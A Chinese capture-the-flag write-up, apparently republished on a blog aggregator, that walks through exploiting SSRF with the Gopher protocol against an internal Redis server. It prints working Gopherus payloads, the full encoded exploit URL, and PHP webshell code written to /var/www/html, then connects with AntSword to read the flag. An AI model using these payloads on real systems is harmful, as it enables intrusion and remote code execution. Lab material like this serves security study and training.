CTFHub SSRF通關筆記6:Gopher Redis原理詳解與滲透實戰

目錄

一、SSRF Gopher Redis

1、功能簡介

2、攻擊原理

(1)SSR的作用

(2)Gopher 協議特性

(3)攻擊 Redis 步驟

二、gopherus

1、功能簡介

2、攻擊Redis服務方法

三、Gopherus安裝

1、源碼下載

2、編譯安裝

四、滲透實戰

1、打開靶場

2、gopherus滲透

(1)啟動攻擊模塊

(2)第一行輸入攻擊類型

(3)第二行輸入路徑

(4)第三行輸入 WebShell 內容

(5)URL編碼

(6)執行SSRF攻擊

4、連接木馬


本文通過CTFHub的SSRF Redis關卡的滲透實戰,詳細講解了SSRF結合Gopher協議攻擊Redis服務的技術原理與實踐方法。通過Gopherus工具構造惡意Redis請求,突破內網限制實現遠程代碼執行(RCE)。實戰演示了從生成Payload、URL編碼到利用SSRF安全風險上傳Webshell的全過程,最終通過蟻劍連接木馬獲取目標系統flag。

一、SSRF Gopher Redis

1、功能簡介

在Web安全領域,結合SSRF(服務器端請求偽造)、Gopher協議和Redis協議的攻擊,構成了針對內網Redis服務的高危威脅。這種攻擊能將原本低危的SSRF風險升級為具有遠程代碼執行(RCE)能力的致命攻擊鏈。攻擊者通過構造惡意Gopher請求,利用SSRF風險使目標服務器與內網Redis服務交互,最終達成遠程代碼執行目的。下表展示了這三個組件的核心作用。

組件核心定位關鍵特性
SSRFServer-Side Request Forgery?“服務器端請求偽造”,攻擊者通過可控輸入誘導服務器向任意地址 / 服務發起請求突破客戶端訪問限制,可訪問服務器內網資源(如 127.0.0.1:6379 的 Redis服務)
Gopher 協議輕量級互聯網協議,支持構造任意二進制 / 文本請求包,可模擬完整協議交互能封裝Redis協議的報文,通過gopher://URL 傳遞給 SSRF安全風險點
Redis開源的高性能鍵值對內存數據庫,常用于緩存、消息隊列等Redis使用一種簡單、基于文本的協議。歷史版本默認無認證且綁定在?0.0.0.0,導致未授權訪問

2、攻擊原理

Redis服務默認運行在服務器內網(127.0.0.1:6379),僅允許本地或信任網段訪問,外部無法直接觸達。而?SSRF + Gopher?恰好能突破這一限制,核心攻擊鏈路如下:

(1)SSRF的作用

SSRF 核心在于服務器未對用戶輸入的 URL 進行嚴格過濾和驗證,導致攻擊者可以控制服務器向任意地址發起請求。由于請求是由服務器端發出的,所以攻擊者能夠利用SSRF訪問服務器所在網絡內部的系統,而這些內部系統通常是外部無法直接訪問的,比如內網中的 Redis 服務。

(2)Gopher 協議特性

Gopher 協議是一種比 HTTP 協議更早出現的協議,現在已不常用,但在 SSRF 利用中卻非常有用。Gopher 協議可以發送各種格式的請求包,能夠構造任意的 TCP 數據流,這使得攻擊者可以通過 Gopher 協議模擬 Redis 協議的請求格式,向 Redis 服務器發送特定的命令。

(3)攻擊 Redis 步驟

①?確認 Redis 服務存在:攻擊者首先需要通過 SSRF探測內網中是否存在 Redis 服務,通常 Redis 默認運行在 6379 端口,攻擊者可以構造一個 SSRF 請求,嘗試訪問127.0.0.1:6379,根據服務器的響應情況來判斷 Redis 服務是否存在。

②?構造惡意請求:一旦確認 Redis 服務存在,攻擊者就可以利用 Gopher 協議構造惡意的 Redis 命令請求包。例如,比讓Redis執行以下命令在服務器生成木馬文件。

FLUSHALL          # 清空所有數據庫(可選,為了清潔)
SET shell "<?php @eval($_POST['ljn']); ?>" # 將一個鍵的值設置為Webshell代碼
CONFIG SET DIR /var/www/html      # 修改Redis數據持久化存儲目錄為Web目錄
CONFIG SET DBFILENAME shell.php   # 修改持久化數據文件名為webshell的名字
SAVE               # 強制將當前數據庫保存到磁盤。由于上面修改了路徑和文件名,就會生成/var/www/html/shell.php
QUIT               # 退出連接

③?發送請求并執行命令:攻擊者將構造好的 Gopher 協議請求包進行 URL 編碼后,嵌入到存在 SSRF安全風險的請求中,通過服務器發送給 Redis 服務器。Redis 服務器接收到請求后,會按照協議解析并執行其中的命令,從而完成攻擊者預期的操作。Gopher協議要求對整個TCP數據流進行URL編碼。手動構造極其繁瑣,這就是Gopherus這類工具的價值所在。

  • 將Redis命令轉換為合規的協議格式。

  • 對整個數據流進行URL編碼。

  • 生成最終的Gopher URL:gopher://127.0.0.1:6379/_<編碼后的數據>

    ④?實現后續控制:將生成的Gopher URL通過SSRF風險點提交給服務器后,如果Web目錄路徑正確且Redis有寫權限,攻擊成功后就會生成木馬文件,使用木馬的密碼連接木馬即可完全控制該服務器。

    二、gopherus

    1、功能簡介

    Gopherus?是一款用 Python 編寫的開源工具,專門用于利用?SSRF(服務器端請求偽造)。它的核心功能是生成惡意編碼的?Gopher?協議載荷,從而攻擊內網中的各種服務,實現從信息泄露到遠程代碼執行(RCE)的升級。

    項目地址: https://github.com/tarunkant/Gopherus

    Gopherus?可以生成 Gopher 協議的有效載荷,用于實現遠程代碼執行(RCE),并獲取目標服務器的反向 Shell。該工具支持多種服務的 SSRF 攻擊 payload 生成,包括 MySQL、PostgreSQL、FastCGI、Redis、Zabbix、pymemcache、rbmemcache、phpmemcache、dmpmemcache、smtp 等。

    2、攻擊Redis服務方法

    在 Gopherus 中,針對 Redis服務的攻擊步驟如下所示。

    # 1. 啟動Redis攻擊模塊
    $ python2 gopherus.py --exploit redis# 2. 輸入Redis路徑和Webshell內容
    [+] What do you want?? (ReverseShell/PHPShell): PHPShell
    [+] Enter Redis path: /var/www/html
    [+] Enter shell function: <?php system($_GET['cmd']); ?># 3. 獲取生成的Gopher載荷
    gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A# 4. 通過SSRF發送
    curl "http://vulnerable-site.com/ssrf.php?url=生成的GopherURL"# 5. 生成Webshell文件并訪問
    生成木馬文件URL:http://vulnerable-site.com/shell.php
    密碼:cmd

    三、Gopherus安裝

    1、源碼下載

    首先從 GitHub 上克隆 Gopherus 項目,可以通過命令行或者直接在網站官網下載源碼。

    項目地址:https://github.com/tarunkant/Gopherus.git
    命令行下載:git clone https://github.com/tarunkant/Gopherus.git

    2、編譯安裝

    然后進入項目源碼所在的目錄,其中install.sh為安裝腳本,如下圖所示。

    賦予安裝腳本執行權限并運行,這一步會將 Gopherus 相關腳本鏈接到系統路徑,方便后續全局調用。如果不執行如下install命令,需要每次使用Gopherus工具時,進入到源碼路徑中使用。

    chmod +x install.sh
    sudo./install.sh

    四、滲透實戰

    1、打開靶場

    打開靶場,如下圖所示題目給出以下提示“這次來攻擊redis協議吧.redis://127.0.0.1:6379,資料?沒有資料!自己找!”,這說明題目提醒我們使用SSRF Redis進行滲透,我們可以直接在kali使用gopherus腳本進行攻擊。

    復制靶場鏈接(challenge-49c7b982a700fa5c.sandbox.ctfhub.com:10800)并訪問,如下所示被重定向到了?url=_中。

    2、gopherus滲透

    (1)啟動攻擊模塊

    使用 gopherus.py --exploit redis啟動Redis攻擊模塊,具體命令如下所示。

    python2 gopherus.py --exploit redis————使用gopherus工具生成payload

    (2)第一行輸入攻擊類型

    首先我們選擇攻擊類型為PHPShell,具體如下所示。

    [+] What do you want?? (ReverseShell/PHPShell): PHPShell
    • PHPShell:生成一個 PHP WebShell 文件

    • ReverseShell:生成一個直接反彈 Shell 的 payload

    (3)第二行輸入路徑

    啟動 Gopherus 的 Redis 攻擊模塊后,具提示你輸入Redis 數據文件將要寫入的目標路徑。這個路徑的核心作用是:通過 Redis 的?CONFIG SET dir?命令指定數據持久化目錄(即?dir?參數),后續執行?SAVE?命令時,Redis 會將內存中的數據(如攻擊者構造的惡意內容)寫入該目錄下的文件(由?dbfilename?指定文件名)。簡言之,這個路徑決定了 Redis 寫入的惡意文件最終存儲在服務器的哪個位置,需根據目標服務器的 Web 目錄結構或可利用路徑填寫,才能讓后續的惡意文件被有效訪問和執行。

    [+] Enter Redis path: /var/www/html

    若輸入?/var/www/html(Web 服務的根目錄),配合設置?dbfilename webshell.php,則 Redis 會在?/var/www/html?下生成?webshell.php?文件。由于該目錄通常是 Web 服務器(如 Nginx、Apache)的網站根目錄,攻擊者可通過訪問?http://目標IP/webshell.php?觸發惡意代碼執行,實現遠程控制。

    (4)第三行輸入 WebShell 內容

    接下來工具提示輸入要執行的命令,這是可以選擇使用一句話木馬,參數為mooyuan,完整內容為<?php @eval($_POST['mooyuan']);?>,具體含所以如下所示。

    腳本內容含義作用
    <?php ... ?>PHP 標簽標識 PHP 代碼開始和結束
    system()系統命令執行函數執行操作系統命令
    $_GET['mooyuan']獲取 GET 參數從 URL 中獲取?mooyuan?參數的值
    ;語句結束符PHP 語法要求

    Gopherus 會自動將?dbfilename(Redis 持久化文件名)設置為?shell.php,配置完畢后Gopherus 工具會根據輸入生成相應的 Gopher 協議有效載荷(下圖白色下劃線文字),如下所示。

    [+] Enter shell function: <?php system($_GET['mooyuan']); ?>

    (5)URL編碼

    此時工具會根據輸入生成相應的 Gopher 協議有效載荷,復制上圖中白色下劃線的Payload,內容如下所示。

    gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2437%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27mooyuan%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A                                                                                                                               

    生成的有效載荷需要進行 URL 編碼,可使用在線編碼工具或編程語言中的編碼函數進行編碼。把生成的payload進行URL編碼,編碼后如下所示。

    gopher%3a%2f%2f127.0.0.1%3a6379%2f_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252437%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527mooyuan%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2fvar%2fwww%2fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

    (6)執行SSRF攻擊

    訪問構造的paylaod URL網址,使用參數?url=Payload進行SSRF攻擊,也就是拼接(challenge-49c7b982a700fa5c.sandbox.ctfhub.com:10800/?url=_)與Payload,完整URL如下所示。

    http://challenge-49c7b982a700fa5c.sandbox.ctfhub.com:10800/?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252437%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527mooyuan%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2fvar%2fwww%2fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

    顯示此頁面為504,沒有關系,執行這段payload的目標就是在服務器根目錄上傳木馬shell.php,

    此時shell.php應該已經被傳到靶場的根目錄,因此木馬文件的URL地址如下所示。

    http://challenge-49c7b982a700fa5c.sandbox.ctfhub.com:10800/shell.php

    3、連接木馬

    打開蟻劍,添加數據,填寫URL地址和密碼,其中木馬ljn.php的具體信息如下所示。

    木馬內容:<?php @eval($_POST['mooyuan']);?>
    木馬URL:http://challenge-49c7b982a700fa5c.sandbox.ctfhub.com:10800/shell.php
    木馬密碼:mooyuan

    如下所示,填寫完畢后點擊測試連接右下角出現綠色連通文字,點擊添加即成功連接木馬。

    右鍵選擇文件系統,開始查找flag相關的文件,如下所示在根目錄中找到flag文件。

    雙擊打開文件flag_5102c54a839a31054559e7d99720ad84,成功獲取到flag值。

    本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
    如若轉載,請注明出處:http://www.pswp.cn/pingmian/96292.shtml
    繁體地址,請注明出處:http://hk.pswp.cn/pingmian/96292.shtml
    英文地址,請注明出處:http://en.pswp.cn/pingmian/96292.shtml

    如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

    相關文章

    數據結構之二叉樹(2)

    數據結構之二叉樹&#xff08;2&#xff09;1.二叉樹的存儲結構2.實現順序結構二叉樹2.1何為堆2.2堆的性質2.3堆的定義2.3堆的初始化與銷毀3.1向上調整算法3.2向下調整算法4.入堆5.出堆讓花成花&#xff0c;讓樹成樹上一次我們學習了樹的分類&#xff0c;并初步了解了二叉樹。今…

    Linux操作系統之Ubuntu

    Ubuntu是基于Debian的開源Linux發行版&#xff0c;由Canonical公司維護&#xff0c;以用戶友好性和穩定性著稱。它廣泛應用于個人電腦、服務器及云計算環境&#xff0c;支持多種硬件架構。Ubuntu的特點Ubuntu提供定期更新版本&#xff08;每6個月&#xff09;和長期支持版本&am…

    kotlin的函數前面增加suspend關鍵字的作用

    deepseek回答&#xff1a; Kotlin中suspend關鍵字的作用詳解 核心作用 suspend關鍵字用于標記?掛起函數?&#xff0c;使其能夠在協程中實現非阻塞的異步操作。 suspend關鍵字的本質作用 suspend關鍵字的主要作用是?標記一個函數為掛起函數?&#xff0c;使其能夠在協程中使用…

    Vibe Coding實戰項目:用Qwen3-Coder做了個AI跳舞視頻生成器

    大家好&#xff0c;這里是K姐。 一個 Vibe Coding 的探索者。 前段時間發現通義發起了一個Qwen3-Coder挑戰賽&#xff0c;最高獎金有10000元&#xff0c;研究了一下&#xff0c;我發現這個賽道太寬了&#xff0c;不限項目&#xff0c;用 AI Coding 做數據分析、個人Blog、抓取…

    Kafka面試精講 Day 13:故障檢測與自動恢復

    【Kafka面試精講 Day 13】故障檢測與自動恢復 在“Kafka面試精講”系列的第13天&#xff0c;我們將深入探討 Kafka 高可用體系中的關鍵一環&#xff1a;故障檢測與自動恢復機制。作為分布式系統的核心能力&#xff0c;Kafka 如何在 Broker 宕機、網絡分區或磁盤故障時快速感知…

    【前沿技術拓展Trip Two】具身智能

    具身智能&#xff08;Embodied AI&#xff09;的認識&#xff0c;進展&#xff0c;以及為何難以實現 在講具身智能之前&#xff0c;我們不得不先行介紹一下離身智能與離身認識系統這兩個極其相關且更加常見的概念 離身認識系統 其實目前絕大多數的AI&#xff0c;例如DeepSeek&a…

    使用electron將vue3網頁項目包裝成pc客戶端

    一、準備前工作在項目的根目錄 打開命令行工具 安裝四個依賴庫安裝報錯的話二、準備工作完成之后&#xff0c;在項目根目錄需要有倆個文件在項目根目錄創建electron文件夾在vite.config.js中添加配置項在package.json中添加配置項運行命令 npm run electron:build 打包關于mac&…

    基于安全抽象模型(SAM)的汽車網絡安全防御與攻擊分析

    摘要自動駕駛汽車比以往任何一種個人出行交通工具都具有更大的受攻擊可能性。這主要是因為這類汽車對通信有極高的需求&#xff0c;一方面是出于功能和安全方面的考慮&#xff0c;另一方面則是為了滿足舒適性需求。無人駕駛汽車需要與周圍環境進行通信的接口、直接連接&#xf…

    線掃相機不出圖原因總結

    1、幀觸發信號有問題 線掃相機出圖由幀信號決定開始采集,如果沒有幀信號線掃相機無法識別開始信號,所以不出圖 1)沒有給相機幀信號 幀信號是一個短暫的脈沖信號,持續時間不要太長,相機能識別就可以,一般由plc或者控制卡的數字量輸出口觸發,可以通過監測數字量輸出口來確…

    開發避坑指南(46):Java Stream 對List的BigDecimal字段進行求和

    需求 對int&#xff0c;long類型的數據求和直接用stream().mapToInt()、stream().mapToDouble()&#xff0c;可是沒有stream().mapToBigDecimal()這樣的方法&#xff0c;那么如何用stream對List的BigDecimal字段進行求和&#xff1f; 代碼實現 直接上代碼 public class OrderIn…

    pycharm如何處理python項目間引用

    1. 如何在pycharm中將其它項目添加到打開的項目中 如圖所示&#xff1a;文件->打開->附加&#xff08;Attach&#xff09;即可2.如何引用:直接作為一個普通package引用即可 from attack_projectxxx.modulexxx import xxx3.pyinstaller如何編譯這種引用其它項目的可執行文…

    家庭勞務機器人發展階段與時間預測

    家庭勞務機器人大規模進入家庭不會是一個單一的時間點&#xff0c;而是一個分階段、漸進式的過程。我們可以將這個進程分為以下幾個階段&#xff0c;并對每個階段的時間線進行預測&#xff1a;第一階段&#xff1a;單一功能機器人普及&#xff08;現在 - 2025年&#xff09;這個…

    Zynq開發實踐(FPGA之spi實現)

    【 聲明&#xff1a;版權所有&#xff0c;歡迎轉載&#xff0c;請勿用于商業用途。 聯系信箱&#xff1a;feixiaoxing 163.com】雖然串口用的地方比較多&#xff0c;實現起來也比較簡單。但是串口本身速度比較慢&#xff0c;不利于高速數據通信。而且單個串口沒有辦法和很多芯片…

    指甲打磨機/磨甲器MCU控制方案開發,輕松解決磨甲問題

    美甲打磨機/指甲打磨機核心功能需求 1. 基礎功能 無級調速(5,000-30,000 RPM&#xff0c;PWM控制) 正反轉切換&#xff08;可選&#xff0c;用于拋光/去角質&#xff09; 按鍵鎖/防誤觸&#xff08;長按3秒解鎖&#xff09; 鋰電池管理&#xff08;3.7V單節&#xff0c;帶充電指…

    臨床數據挖掘與分析:利用GPU加速Pandas和Scikit-learn處理大規模數據集

    點擊 “AladdinEdu&#xff0c;同學們用得起的【H卡】算力平臺”&#xff0c;注冊即送-H卡級別算力&#xff0c;80G大顯存&#xff0c;按量計費&#xff0c;靈活彈性&#xff0c;頂級配置&#xff0c;學生更享專屬優惠。 摘要 隨著電子健康記錄&#xff08;EHR&#xff09;的普…

    二進制安裝MySQL 8.0指南:跨平臺、自定義數據路徑、安全遠程訪問配置

    二進制安裝 MySQL 8.0 在生產或測試環境中&#xff0c;我們常常希望避免包管理器帶來的依賴和交互問題&#xff0c;尤其是當系統自帶版本過舊或安裝過程頻繁彈窗時。此時&#xff0c;使用 MySQL 官方提供的二進制壓縮包&#xff08;Generic Linux Binary&#xff09; 進行安裝…

    Z檢驗與T檢驗的區別與聯系:原理、公式和案例全解

    Z檢驗與T檢驗全解析&#xff1a;原理、區別與實際案例 統計學的核心任務之一&#xff0c;就是通過有限的樣本數據去推斷總體特征。在這一過程中&#xff0c;假設檢驗成為了最常見的工具。而在眾多檢驗方法中&#xff0c;Z檢驗與T檢驗幾乎是入門必學&#xff0c;也是應用最廣泛的…

    SpringBoot之緩存(最詳細)

    文章目錄項目準備新建項目并選擇模塊安裝添加依賴添加application.yml刪除demos.web包編寫pojo層userdto/ResultJson編寫mapper層UserMapper編寫service層UserService編寫controller層編寫配置類MybatisPlusConfig編寫測試類1 緩存分類1.1 MyBatis一級緩存1.2 MyBatis二級緩存1…

    B站 韓順平 筆記 (Day 29)

    目錄 1&#xff08;集合的框架體系&#xff09; 2&#xff08;Collection接口和常用方法&#xff09; 2.1&#xff08;Collection接口實現類特點&#xff09; 2.2&#xff08;常用方法&#xff09; 2.3&#xff08;遍歷元素方式1&#xff1a;迭代器&#xff09; 1&#x…

    axios報錯解決:unsupported BodyInit type

    目錄 問題 原因 解決方法 問題 Got ‘unsupported BodyInit type’ bug on iPhone 14(IOS 17.5) Issue #6444 axios/axios 我這里是iPhone 6plus打開會報錯白屏 好多人遇到了相同的問題 當我在 iPhone 14 上瀏覽頁面時,我收到一條錯誤消息:錯誤:不支持的 BodyInit 類型,…